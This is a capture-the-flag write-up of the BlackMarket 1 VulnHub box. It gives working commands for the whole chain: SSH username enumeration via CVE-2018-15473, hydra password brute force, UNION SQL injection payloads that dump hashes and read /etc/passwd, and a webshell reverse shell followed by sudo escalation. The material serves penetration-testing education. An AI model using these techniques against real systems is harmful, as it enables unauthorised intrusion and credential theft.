BlackMarket 1
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. A long, very "breadcrumb-driven" box. The source hides a base64 blob (CIA - Operation Treadstone) pointing at the Bourne characters, and with those names an SSH user enumeration confirmsnicky. A wordlist built with cewl + hydra gets his FTP password; there a hint points to/vworkshop, where a UNION SQLi dumps MD5 hashes that get cracked (admin:BigBossCIA). That login hands over the SquirrelMail credential, whose encrypted draft is solved with quipqiup and leads to a backdoor whose password is hidden inside an image. The backdoor gives a revshell, and a.Secretholdingdimitri's password (a member of thesudogroup) finishes the box.
Recon
Host discovery
The box is a VulnHub image living on the local network, so the first step is not scanning ports but finding the IP. An ARP sweep over the segment pulls it out along with the neighbours, and the only entry with a VMware MAC is ours:
sudo arp-scan -I eth0 --localnet --ignoredups --macfile=/usr/share/arp-scan/ieee-oui.txt
Interface: eth0, type: EN10MB, MAC: 00:0c:29:a0:4d:d4, IPv4: 192.168.1.80
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.1 2c:70:4f:14:4e:c7 (Unknown)
192.168.1.136 b0:a4:60:cf:91:26 Intel Corporate
192.168.1.138 f4:03:2a:28:e7:36 Amazon Technologies Inc.
192.168.1.195 00:0c:29:50:a0:77 VMware, Inc.
Ending arp-scan 1.10.0: 256 hosts scanned in 2.741 seconds (93.40 hosts/sec). 10 respondedTarget: 192.168.1.195.
ping -c 1 192.168.1.195
PING 192.168.1.195 (192.168.1.195) 56(84) bytes of data.
64 bytes from 192.168.1.195: icmp_seq=1 ttl=64 time=1.14 ms
--- 192.168.1.195 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 1.136/1.136/1.136/0.000 msTTL 64 → Linux (Windows answers with 128). A hint, not proof: every routing hop decrements it.
Initial scan
The full port scan uncovers seven services, including the whole mail stack:
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 192.168.1.195 -oG scan
Discovered open port 995/tcp on 192.168.1.195
Discovered open port 993/tcp on 192.168.1.195
Discovered open port 143/tcp on 192.168.1.195
Discovered open port 80/tcp on 192.168.1.195
Discovered open port 21/tcp on 192.168.1.195
Discovered open port 110/tcp on 192.168.1.195
Discovered open port 22/tcp on 192.168.1.195
Completed SYN Stealth Scan at 19:04, 26.35s elapsed (65535 total ports)
Not shown: 65528 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 64
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
110/tcp open pop3 syn-ack ttl 64
143/tcp open imap syn-ack ttl 64
993/tcp open imaps syn-ack ttl 64
995/tcp open pop3s syn-ack ttl 64
MAC Address: 00:0C:29:50:A0:77 (VMware)The -oG scan file the scan leaves behind is summarised by extractPorts, another ~/.zshrc function that pulls out the IP and the port list and drops them on the clipboard:
extractPorts scan
Extracting information ...
IP Address: 192.168.1.195
Open ports: 21,22,80,110,143,993,995
Ports copied to clipboard
IP Address: 192.168.1.195
Open ports: 21,22,80,110,143,993,995The remaining 65528 come back as filtered (no-response), not closed. That does not necessarily mean a firewall: nmap warns about it itself with Some closed ports may be reported as filtered due to --defeat-rst-ratelimit, because the target's kernel rate-limits RST packets and at --min-rate 5000 replies get lost. It is an artefact of the speed, not a finding.
nmap -p21,22,80,110,143,993,995 -sCV 192.168.1.195
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.2
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 a9:98:84:aa:90:7e:f1:e6:be:c0:84:3e:fa:aa:83:8a (DSA)
| 2048 07:5c:77:15:30:5a:17:95:8e:0f:91:f0:2d:0b:c3:7a (RSA)
| 256 2f:9c:29:b5:f5:dc:f4:95:07:6d:41:ee:f9:0d:15:b8 (ECDSA)
|_ 256 24:ac:30:c7:79:7f:43:cc:fc:23:df:ea:db:bb:4a:cc (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: BlackMarket Weapon Management System
110/tcp open pop3 Dovecot pop3d
143/tcp open imap Dovecot imapd
993/tcp open ssl/imap Dovecot imapd
995/tcp open ssl/pop3 Dovecot pop3d
|_ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
|_ssl-date: TLS randomness does not represent time
MAC Address: 00:0C:29:50:A0:77 (VMware)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelTwo facts shape the whole box:
OpenSSH 6.6.1p1, from Ubuntu 14.04. It predates 7.7, which is where CVE-2018-15473 was fixed: the leak that lets you tell valid usernames from invalid ones. Noted.- Four Dovecot ports (POP3, IMAP and their TLS variants). Four mail ports on a machine that also serves a website implies local mailboxes exist and, very likely, a webmail somewhere. We cannot see where yet, but the attack surface is declared from minute one.
whatweb describes the site on 80:
whatweb 192.168.1.195
http://192.168.1.195 [200 OK] Apache[2.4.7], Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ],
HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.7 (Ubuntu)], IP[192.168.1.195], JQuery,
PasswordField[password], Script, Title[BlackMarket Weapon Management System], X-UA-Compatible[IE=edge]The browser's Wappalyzer extension confirms and extends the same picture from the client side:

Operating systems: Ubuntu
Web servers: Apache HTTP Server 2.4.7
Programming languages: PHP
JavaScript libraries: DataTables 1.10.12, jQuery 3.1.0
UI frameworks: Bootstrap 3.3.7
Font scripts: Font AwesomeA login panel (PasswordField) and nothing else in sight. When a site only offers a form, the next place to look is the raw HTML.
The hint in the source
view-source:http://192.168.1.195/
</form>
...
<script>
$(document).ready(function(){ ... });
</script><!--
flag1{Q0lBIC0gT3BlcmF0aW9uIFRyZWFkc3RvbmU=} -->
</body>
</html>A flag1 tucked into an HTML comment at the very end of the document, holding what looks like base64 (it ends in =, alphanumeric alphabet). The string is selected and copied straight out of the source viewer:

echo 'Q0lBIC0gT3BlcmF0aW9uIFRyZWFkc3RvbmU=' | base64 -d
CIA - Operation TreadstoneOperation Treadstone is the fictional programme from the Bourne films. Looking it up lands on the Bourne wiki entry, whose Personnel section is literally a list of names:

Personnel
Richard Webb - Creator and Founder, stationed in Beirut, Lebanon.
Ward Abbott - Head of Operations.
Alexander Conklin - Field Director, stationed in Langley, Virginia.
Albert Hirsch - Director of the Treadstone training programme.
Neil Daniels - Training Supervisor.
Nicky Parsons - Field logistics coordinator and agent handler, stationed in Paris, France.
Daniel Zorn - Assistant to Conklin and later to Abbott.That same URL will later be cewl's input. For now what matters are the first names: Richard, Ward, Alexander, Albert, Neil, Nicky, Daniel. That is not trivia: it is a candidate username list obtained from context, which is exactly what the old OpenSSH from the scan needs.
Initial access
SSH user enumeration
CVE-2018-15473 abuses the fact that the vulnerable OpenSSH handles a malformed authentication packet differently depending on whether the user exists: with a non-existent user it drops the connection immediately, with a valid one it carries on. The public exploit automates it:
searchsploit ssh user enumeration
searchsploit -m linux/remote/45939.py
mv 45939.py ssh_user_enumeration.py
python2.7 ssh_user_enumeration.py 192.168.1.195 <user> 2>/dev/null
[-] albert is an invalid username
[-] alexander is an invalid username
[-] neil is an invalid username
[+] nicky is a valid username
[-] daniel is an invalid username
[-] ward is an invalid username
[-] richard is an invalid usernameOut of the seven names from the films, only nicky exists on the system. Without the base64 hint this enumeration would have had no names to try; without the old SSH, the hint could not have been confirmed. Both pieces need each other.
What rockyou did not find
With a valid username, the obvious move first: hydra with rockyou against FTP (SSH is ruled out as the target because failing there is noisier and slower).
hydra -l nicky -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.195 -t 50
[DATA] max 50 tasks per 1 server, overall 50 tasks, 14344399 login tries (l:1/p:14344399), ~286888 tries per task
[DATA] attacking ftp://192.168.1.195:21/
[STATUS] 843.00 tries/min, 843 tries in 00:01h, 14343555 to do in 283:35h, 50 active
[STATUS] 876.67 tries/min, 2630 tries in 00:03h, 14341769 to do in 272:40h, 50 active
^CThe session file ./hydra.restore was written. Type "hydra -R" to resume session.This attempt is worth showing even though it fails, because the numbers explain everything: 14,344,399 passwords at ~850 per minute is 283 hours, almost twelve days. The server will not go faster, so generic brute force is not viable here. We abort.
A wordlist built to measure
If rockyou will not do, the wordlist has to come from the box's own theme. cewl crawls a page and extracts its words; we point it at the Bourne wiki entry for Operation Treadstone:
cewl -w dir.txt https://bourne.fandom.com/wiki/Operation_Treadstone -d 1
wc -l dir.txt
CeWL 6.2.1 (More Fixes) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
8283 dir.txt8283 words against 14 million. And this time it lands:
hydra -l nicky -P dir.txt ftp://192.168.1.195 -t 50 -I
[DATA] max 50 tasks per 1 server, overall 50 tasks, 8283 login tries (l:1/p:8283), ~166 tries per task
[DATA] attacking ftp://192.168.1.195:21/
[21][ftp] host: 192.168.1.195 login: nicky password: CIAnicky:CIA. The password was not even exotic, and rockyou would have found it too: the problem was ordering, not content. A 8283-word themed list finishes in seconds where a 14-million one takes days.
For completeness the attack was repeated with all seven wiki names instead of just nicky, to rule out any other account with a weak password:
echo -e "richard\nward\nalexander\nalbert\nneil\nnicky\ndaniel" > users.txt
cat users.txt
hydra -L users.txt -P dir.txt ftp://192.168.1.195 -t 50 -I
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 50 tasks per 1 server, overall 50 tasks, 57981 login tries (l:7/p:8283), ~1160 tries per task
[DATA] attacking ftp://192.168.1.195:21/Seven times the attempts and the same single result: nicky's is the only valid credential.
FTP: the first breadcrumb
ftp 192.168.1.195
Connected to 192.168.1.195.
220 (vsFTPd 3.0.2)
Name (192.168.1.195:krmena): nicky
331 Please specify the password.
Password:
230 Login successful.
ftp> dir
dr-xr-xr-x 3 65534 65534 4096 Nov 06 2017 ftp
ftp> cd ftp
ftp> dir
drwxr-xr-x 2 1002 1002 4096 Nov 09 2017 ImpFiles
ftp> cd ImpFiles
ftp> dir
-rw-r--r-- 1 0 0 216 Nov 12 2017 IMP.txt
ftp> get IMP.txt
226 Transfer complete.
216 bytes received in 00:00 (86.76 KiB/s)
ftp> exit$ cat IMP.txt
flag2{Q29uZ3JhdHMgUHJvY2VlZCBGdXJ0aGVy}
If anyone reading this message it means you are on the right track however I do not have any idea about the
CIA blackmarket Vehical workshop. You must find out and hack it!echo -n "Q29uZ3JhdHMgUHJvY2VlZCBGdXJ0aGVy" | base64 -d
cat IMP.txt
Congrats Proceed FurtherThe flag says nothing useful, but the text does: "CIA blackmarket Vehical workshop", typo included. That is a path name dressed up as a sentence.
A two-word wordlist
There is no need to fuzz with a generic list when the target itself handed over the name. We write out the plausible combinations of "vehical" and "workshop" and try them:
echo "vehicalworkshop\nvworkshop\nvw\nvehicalshop\nworkshop\nshop" > diccionario.txt
wfuzz -u http://192.168.1.195/FUZZ -w diccionario.txt --hc=404
Target: http://192.168.1.195/FUZZ
Total requests: 6
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000002: 301 9 L 28 W 317 Ch "vworkshop"
Total time: 0
Processed Requests: 6
Filtered Requests: 5
Requests/sec.: 0Six requests, one hit: /vworkshop returns a 301 (a redirect, meaning the directory exists and Apache is sending us to its trailing slash). Five of the six were 404s and nothing would have been lost by trying twenty more; what matters is that the name came out of IMP.txt, not out of a wordlist.
Exploitation: UNION SQLi
The spare-part id
/vworkshop is the "BlackMarket Auto WorkShop", a shop with vehicle and spare-part sections. Each part's detail page is requested with a numeric sparepartid in the URL, the classic shape of a parameter that ends up inside an SQL query.

Spare part name: abcd spare
Spare parts type : Lock
Cost : 333.00
Spare parts serial No. : ZXC1
Description: This is a doorlockThe page paints five distinct fields, and that detail matters: those are the columns the injection will later use as a screen to print data on.
A UNION SQLi needs to know how many columns the original query returns, because UNION demands the same count on both sides. ORDER BY n works that out without seeing the query: it sorts by column n, and fails as soon as n exceeds the real column count.
/vworkshop/sparepartsstoremore.php?sparepartid=1' ORDER BY 8-- -
Spare part name: abcd spare
Spare parts type :
Cost :
Spare parts serial No. :
Description:With 8 the card empties out: the query blew up and the page, which does not print the MySQL error, just renders nothing. With 7, on the other hand:
/vworkshop/sparepartsstoremore.php?sparepartid=1' ORDER BY 7-- -
Spare part name: abcd spare
Spare parts type : Lock
Cost : 333.00
Spare parts serial No. : ZXC1
Description: This is a doorlockThe contrast between the two screenshots is double proof: the query has 7 columns and, along the way, that the quote really is being injected (otherwise ORDER BY 8 would have changed nothing). The Spare parts serial No. field is the most readable one, so that is where the payload goes.
Enumerating the database
Schemas first, using group_concat to bring them all back in a single cell:
/vworkshop/sparepartsstoremore.php?sparepartid=100' UNION SELECT NULL,NULL,NULL,NULL,
group_concat(schema_name),NULL,NULL FROM information_schema.schemata-- -
Spare parts serial No. :
information_schema,BlackMarket,eworkshop,mysql,performance_schemaThe sparepartid=100 does not exist on purpose: that way the original query returns no rows and the only thing rendered is what the UNION brings. Of the five schemas, three are system ones, leaving BlackMarket and eworkshop. The first is the one that gives the box its name.
... group_concat(table_name),NULL,NULL FROM information_schema.tables WHERE table_schema="BlackMarket"-- -
cart,category,customer,flag,inventory,product,sales,sales_detail,supplier,user... group_concat(column_name),NULL,NULL FROM information_schema.columns
WHERE table_schema="BlackMarket" AND table_name="user"-- -
userid,username,password,accessNow we know exactly what to ask for. The 0x3A inside group_concat is the : character in hex, used as a separator because a quote inside the payload would break the injection:
/vworkshop/sparepartsstoremore.php?sparepartid=100' UNION SELECT NULL,NULL,NULL,NULL,
group_concat(userid,0x3A,username,0x3A,password),NULL,NULL FROM BlackMarket.user-- -
admin:cf18233438b9e88937ea0176f1311885
user:0d8d5cd06832b29560745fe4e1b941cf
supplier:99b0e8da24e29e4ccb5d7d76e677c2ac
jbourne:28267a2e06e312aee91324e2fe8ef1fd
bladen:cbb8d2a0335c793532f9ad516987a41cThe dump arrives as a single comma-separated line, so it gets split into lines and saved to a file for convenience:
echo "1:admin:cf18233438b9e88937ea0176f1311885,2:user:0d8d5cd06832b29560745fe4e1b941cf,..." \
| tr ',' '\n' > ../content/creds.txt
cat ../content/creds.txt
1:admin:cf18233438b9e88937ea0176f1311885
2:user:0d8d5cd06832b29560745fe4e1b941cf
4:supplier:99b0e8da24e29e4ccb5d7d76e677c2ac
5:jbourne:28267a2e06e312aee91324e2fe8ef1fd
6:bladen :cbb8d2a0335c793532f9ad516987a41cFive users with what look like MD5 hashes (32 hex characters, no salt in sight). The userid values run 1, 2, 4, 5 and 6: number 3 is missing, a sign some account was deleted at some point. One of them, jbourne, is the saga's protagonist: not a coincidence, and he will come back.
What the same SQLi allowed and we did not need
It is worth recording how far the hole actually went. The MySQL user held the FILE privilege, so the very same injection read files off disk with load_file():
/vworkshop/sparepartsstoremore.php?sparepartid=100' UNION SELECT NULL,NULL,NULL,NULL,
load_file("/etc/passwd"),NULL,NULL-- -
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
mysql:x:102:106:MySQL Server,,,:/nonexistent:/bin/false
dovecot:x:106:114:Dovecot mail server,,,:/usr/lib/dovecot:/bin/false
...This box's path does not go that way, but it is the difference between "there is an SQLi" and "there is an SQLi with arbitrary file read on the server", which in a real report changes the severity.
Cracking the MD5s
They are unsalted MD5s, so there is no need to crack them: it is enough to look them up in a database of already-solved hashes, which is what hashes.com does.


Found:
bladen:nV<?>z
0d8d5cd06832b29560745fe4e1b941cf:user
99b0e8da24e29e4ccb5d7d76e677c2ac:supplier
cf18233438b9e88937ea0176f1311885:BigBossCIA
Left:
admin:cf18233438b9e88937ea0176f1311885
user:0d8d5cd06832b29560745fe4e1b941cf
supplier:99b0e8da24e29e4ccb5d7d76e677c2ac
jbourne:28267a2e06e312aee91324e2fe8ef1fd
cbb8d2a0335c793532f9ad516987a41cFour of five fall: user:user and supplier:supplier are useless, bladen returns a string with non-printable characters, and the good one is admin:BigBossCIA. jbourne is the only one that resists, which fits with him being the main character: his password is in no public table.
The login that hands over the next hint
With admin:BigBossCIA we get into the panel from the start (/login.php):

Login Success, Welcome BigBOSS! here is your flag4{bm90aGluZyBpcyBoZXJl} Jason Bourne Email access ?????echo -n "bm90aGluZyBpcyBoZXJl" | base64 -d
nothing is hereThe flag says it literally: there is nothing there. What matters is the rest of the sentence, "Jason Bourne Email access ?????". Two readings are possible: either those are question marks meaning "I do not know which", or they are the password. And it fits what came before: jbourne is precisely the hash that would not crack, because ????? appears in no rainbow table. All that is missing is the webmail to use it on, which is what the four Dovecot ports were hinting at.
Web pivoting: SquirrelMail and the backdoor
Finding the webmail
dirsearch -u http://192.168.1.195 --exclude-status=404,403
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
[21:25:34] 301 - 313B - /admin -> http://192.168.1.195/admin/
[21:25:34] 302 - 0B - /admin/ -> ../index.php
[21:25:35] 302 - 0B - /admin/index.php -> ../index.php
[21:25:47] 301 - 311B - /css -> http://192.168.1.195/css/
[21:25:47] 301 - 310B - /db -> http://192.168.1.195/db/
[21:25:48] 301 - 312B - /dist -> http://192.168.1.195/dist/
[21:25:53] 200 - 457B - /header.php
[21:25:57] 200 - 0B - /login.php
[21:26:13] 301 - 320B - /squirrelmail -> http://192.168.1.195/squirrelmail/
[21:26:18] 301 - 314B - /upload -> http://192.168.1.195/upload/
[21:26:18] 301 - 312B - /user -> http://192.168.1.195/user/
Task CompletedThere it is: /squirrelmail, the webmail that gives the IMAP/POP3 ports their meaning. The /admin entries redirecting to ../index.php are just the session bouncing us out, not a finding.
The password was five question marks

We try jbourne with ????? literally, the five characters from the message. And it works:

Current Folder: INBOX.Drafts
To Date Subject
putin@kgb.gov.ru Nov 16, 2017 IMPORTANT MESSAGEThe interesting mail is not in the inbox but in Drafts, which is where things that were never sent end up. And the recipient, putin@kgb.gov.ru, already sets the tone of the box.
The encrypted draft

Subject: IMPORTANT MESSAGE
From: jbourne@localhost
To: putin@kgb.gov.ru
Date: Thu, November 16, 2017 9:38 pm
Flag5{RXZlcnl0aGluZyBpcyBlbmNyeXB0ZWQ=}
HELLO Friend,
I have intercept the message from Russian's some how we are working on the same
direction, however, I couldn't able to decode the message.
<Message Begins>
Sr Wrnrgir
Ru blf ziv ivzwrmt gsrh R nrtsg yv mlg zorev. R szev kozxv z yzxpwlli rm Yozxpnzipvg
dliphslk fmwvi /ptyyzxpwlli ulowvi blf nfhg szev gl fhv
KzhhKzhh.qkt rm liwvi gl tvg zxxvhh.
</end>echo -n "RXZlcnl0aGluZyBpcyBlbmNyeXB0ZWQ=" | base64 -dEverything is encryptedThe text keeps the structure of an English message (spaces, word lengths, a / that gives away a path), so it is a monoalphabetic substitution, not modern crypto. We paste it into quipqiup, which solves this kind of cipher by letter frequency without needing the key:

Hi Dimitri
If you are reading this I might be not alive. I have place a backdoor in Blackmarket
workshop under /kgbbackdoor folder you must have to use PassPass.jpg in order to get access.The specific substitution is Atbash (first letter of the alphabet for the last): S→H, r→i, W→D, which is why Sr Wrnrgir is Hi Dimitri. The message hands over three things: the local username (Dimitri, who reappears during the escalation), the path /kgbbackdoor and the file PassPass.jpg.
The path that only holds an image
http://192.168.1.195/vworkshop/kgbbackdoor/PassPass.jpg
The directory does not list its contents and the image is all we can see. If the message said the image is needed "in order to get access", there has to be something else there to get into:
gobuster dir -u http://192.168.1.195/vworkshop/kgbbackdoor \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 -x php
[+] Wordlist: /home/krmena/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Extensions: php
/.php (Status: 403) [Size: 306]
/backdoor.php (Status: 200) [Size: 301]
Progress: 441128 / 441130 (100.00%)
FinishedOut of 441,130 requests, a single 200: /backdoor.php. And opening it shows a 404:

<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited...</address>
<pre align="center">
<form method="post">
<input type="password" name="pass">
</form>
</pre>The 404 is fake, and there are two ways to know without reading the code. One: gobuster reports it as Status: 200, not 404, so the server says "OK" while the page says the opposite. Two: the signature at the bottom reads Apache/2.2.22 (Unix) mod_ssl ... mod_bwlimited, which is a CentOS cPanel banner and does not match the Apache/2.4.7 (Ubuntu) nmap reported. It is an error page copy-pasted as camouflage. Inside, invisible in the normal view and located with the inspector, an <input type="password" name="pass">.
Steganography: the backdoor password
PassPass.jpg is what the message said we would need. Before reaching for steganography tools, the first step is always strings: plenty of text gets appended straight to the end of a file, past the image data.
wget http://192.168.1.195/vworkshop/kgbbackdoor/PassPass.jpg
strings PassPass.jpg | tail
[qh"3
cm+B
.}21
...
Pass = 5215565757312090656Among the binary noise sits Pass = 5215565757312090656. But that number as-is opens nothing: 19 decimal digits are far too long for a hand-typed password and suspiciously like a number standing in for something else. Converted to hexadecimal:

Decimal: 5215565757312090656
Hexadecimal: 4861696C4B47422016 hex digits = 8 bytes, and every one of them falls in the printable ASCII range (0x48, 0x61, 0x69, 0x6C...). That is no longer a number, it is text:

Hex: 4861696C4B474220
Text: HailKGBHailKGB (the trailing 20 is a space). With it, the fake 404 opens up:

Uname: Linux Dimitri 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64
User: 33 ( www-data ) Group: 33 ( www-data )
Php: 5.5.9-1ubuntu4.22 Safe mode: OFF
Cwd: /var/www/html/vworkshop/kgbbackdoor/
[Sec Info] [Files] [Exec] [Sql] [PHP Tools] [LFI] [Php] [Safe mode] [String tools] [XSS Shell]
[Bruteforce] [Network] [Logout] [Self remove]
Name Size Modify Owner/Group Permissions
backdoor.php 104.19 KB 2017-11-08 22:17:08 root/root -rw-r--r--
backdoor1.php 561 B 2017-11-07 21:54:51 root/root -rw-r--r--
flag.txt 21 B 2017-11-12 19:17:27 root/root -rw-r--r--
PassPass.jpg 196.38 KB 2017-11-07 22:10:11 root/root -rw-r--r--This is no homemade form: it is WSO 2.6, a well-known PHP webshell, complete with file manager, command runner, SQL client and network utilities. The Uname already gives away the hostname, Dimitri, the same name that showed up in the cryptogram.
Revshell from the backdoor
WSO's Network section ships the reverse shell ready to go (a Perl back-connect it drops at /tmp/bc.pl), so all we supply is IP and port. Listener first:
nc -nlvp 443
listening on [any] 443 ...
connect to [192.168.1.80] from (UNKNOWN) [192.168.1.195] 38788
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-dataThe panel header had already given away the context (User: 33 ( www-data ), Cwd: /var/www/html/vworkshop/kgbbackdoor/), and whoami confirms it. The can't access tty warns that the shell is not interactive yet.
Privilege escalation
Upgrading the TTY
Before enumerating anything the shell needs fixing: with no TTY there is no Ctrl+C without dying, no history, and no su (which insists on a real terminal to prompt for a password). The upgrade is the usual two-step: first open a bash with a TTY inside the session and background it, then put the local terminal in raw mode and bring the job back.
script /dev/null -c bash
# Ctrl+Z
stty raw -echo; fg
connect to [192.168.1.80] from (UNKNOWN) [192.168.1.195] 38788
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ script /dev/null -c bash
www-data@Dimitri:/var/www/html/vworkshop/kgbbackdoor$ ^Z
zsh: suspended nc -nlvp 443
[1] + continued nc -nlvp 443
www-data@Dimitri:/var/www/html/vworkshop/kgbbackdoor$What is left is fixing the size (otherwise long lines wrap in the wrong place) and declaring the terminal type, which is what brings colour and makes editors usable:
stty size # on the attacker machine
stty rows 49 cols 236
export TERM=xterm SHELL=bash
www-data@Dimitri:/var/www/html/vworkshop/kgbbackdoor$ stty size
49 236The hostname peeking out of the prompt, Dimitri, is already a hint in itself. And with a usable shell, an ls -la over /home shows what a plain ls was hiding:
alias ls="ls -la"
cd /home && ls
total 20
drwxr-xr-x 5 root root 4096 Nov 16 2017 .
drwxr-xr-x 22 root root 4096 Nov 1 2017 ..
drwxrwxr-x 2 dimitri dimitri 4096 Nov 16 2017 .Mylife
drwxr-xr-x 4 dimitri dimitri 4096 Nov 16 2017 dimitri
dr-xr-xr-x 4 nicky nicky 4096 Nov 6 2017 nickyLeak in /home/.Mylife/.Secret
/home holds a hidden .Mylife directory with a .Secret inside:
cat /home/.Mylife/.Secret
cat /etc/passwd | grep -i dimi
www-data@Dimitri:/home/.Mylife$ cat .Secret
I have been working on this CIA BlackMarket Project but it seems like I am not doing anything
right for people. Selling drugs and guns is not my business so soon I will quit the job.
About my personal life I am a sharp shooter have two kids but my wife don't like me and I am
broke. Food wise I eat everything but DimitryHateApple
I will add more about later!
www-data@Dimitri:/home/.Mylife$ cat /etc/passwd | grep -i dimi
dimitri:x:1000:1000:,,,:/home/dimitri:/bin/bashThe last sentence is a deliberate non-sequitur: in the middle of a paragraph about food, DimitryHateApple appears glued together, no spaces, with internal capitals. That is a password in disguise. But there is a detail: the text writes "Dimitry" with a y while /etc/passwd says dimitri with an i.
su dimitri -> sudo -> root
su dimitri
id
sudo su
www-data@Dimitri:/home/.Mylife$ su dimitri
Password:
su: Authentication failure
www-data@Dimitri:/home/.Mylife$ su dimitri
Password:
dimitri@Dimitri:/home/.Mylife$ id
uid=1000(dimitri) gid=1000(dimitri) groups=1000(dimitri),4(adm),24(cdrom),27(sudo),...
dimitri@Dimitri:/home/.Mylife$ sudo su
[sudo] password for dimitri:
root@Dimitri:/home/.Mylife#The first su fails with the literal DimitryHateApple, and the second works once the letter is fixed: DimitriHateApple. It is exactly the kind of variation a hydra run with mutation rules would find, and that by eye is solved by reading /etc/passwd.
Inside dimitri's session, id shows the finishing move: he belongs to the 27(sudo) group, so a plain sudo su opens a root shell asking for his own password, the one we just found.
cat /root/THEEND.txt
root@Dimitri:~# cat THEEND.txt
FINALLY YOU MADE IT!
THANKS FOR PLAYING BOOT2ROOT CTF AND PLEASE DO MAIL ME ANY SUGGESTIONS @ acebomber@protomail.com
THANKS SECTALKS BRISBANE FOR HOSTING MY CTFBox pwned.
Attack chain
source (base64: Operation Treadstone) -> Bourne character names -> ssh user enum -> nicky
└─> cewl + hydra (FTP) -> nicky:CIA -> IMP.txt -> hint /vworkshop
└─> UNION SQLi (sparepartid) -> MD5 hashes -> admin:BigBossCIA
└─> login.php -> hint "Email access ?????" -> SquirrelMail jbourne:?????
└─> Atbash draft (quipqiup) -> /kgbbackdoor + PassPass.jpg
└─> strings -> dec2hex2text -> HailKGB -> WSO 2.6 -> revshell
└─> .Secret (Dimitry->Dimitri) -> su dimitri -> sudo su -> rootLessons learned
- A thematic hint is a wordlist. The base64 leads to Operation Treadstone, its characters to the usernames and
cewlto an 8283-word list that finishes in seconds whererockyouwanted 283 hours. - An old SSH gives away usernames. CVE-2018-15473 tells valid from invalid, which turns seven names from a film series into one concrete target.
- The hash that will not crack is information too.
jbournewas the only unsolved one because his password (?????) is in no table; the panel itself handed it over in plain text. stringsbefore anything else in steganography. The text is usually appended at the end of the file and encoded; 19 decimal digits that yield 8 ASCII bytes are not a number, they are a string.- A 404 that returns 200 is not a 404. The real status code and a server signature that does not match the scan give away a fake error page.
- Being in the
sudogroup is root.sudo suneeds nothing else; the rest of the chain is just getting to a user who has it.